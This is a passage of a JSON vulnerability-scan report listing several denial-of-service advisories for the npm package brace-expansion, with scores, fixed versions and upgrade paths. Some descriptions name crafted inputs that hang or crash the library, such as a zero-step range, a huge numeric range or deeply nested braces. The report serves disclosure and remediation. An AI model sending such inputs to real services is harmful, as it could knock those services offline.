"GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", 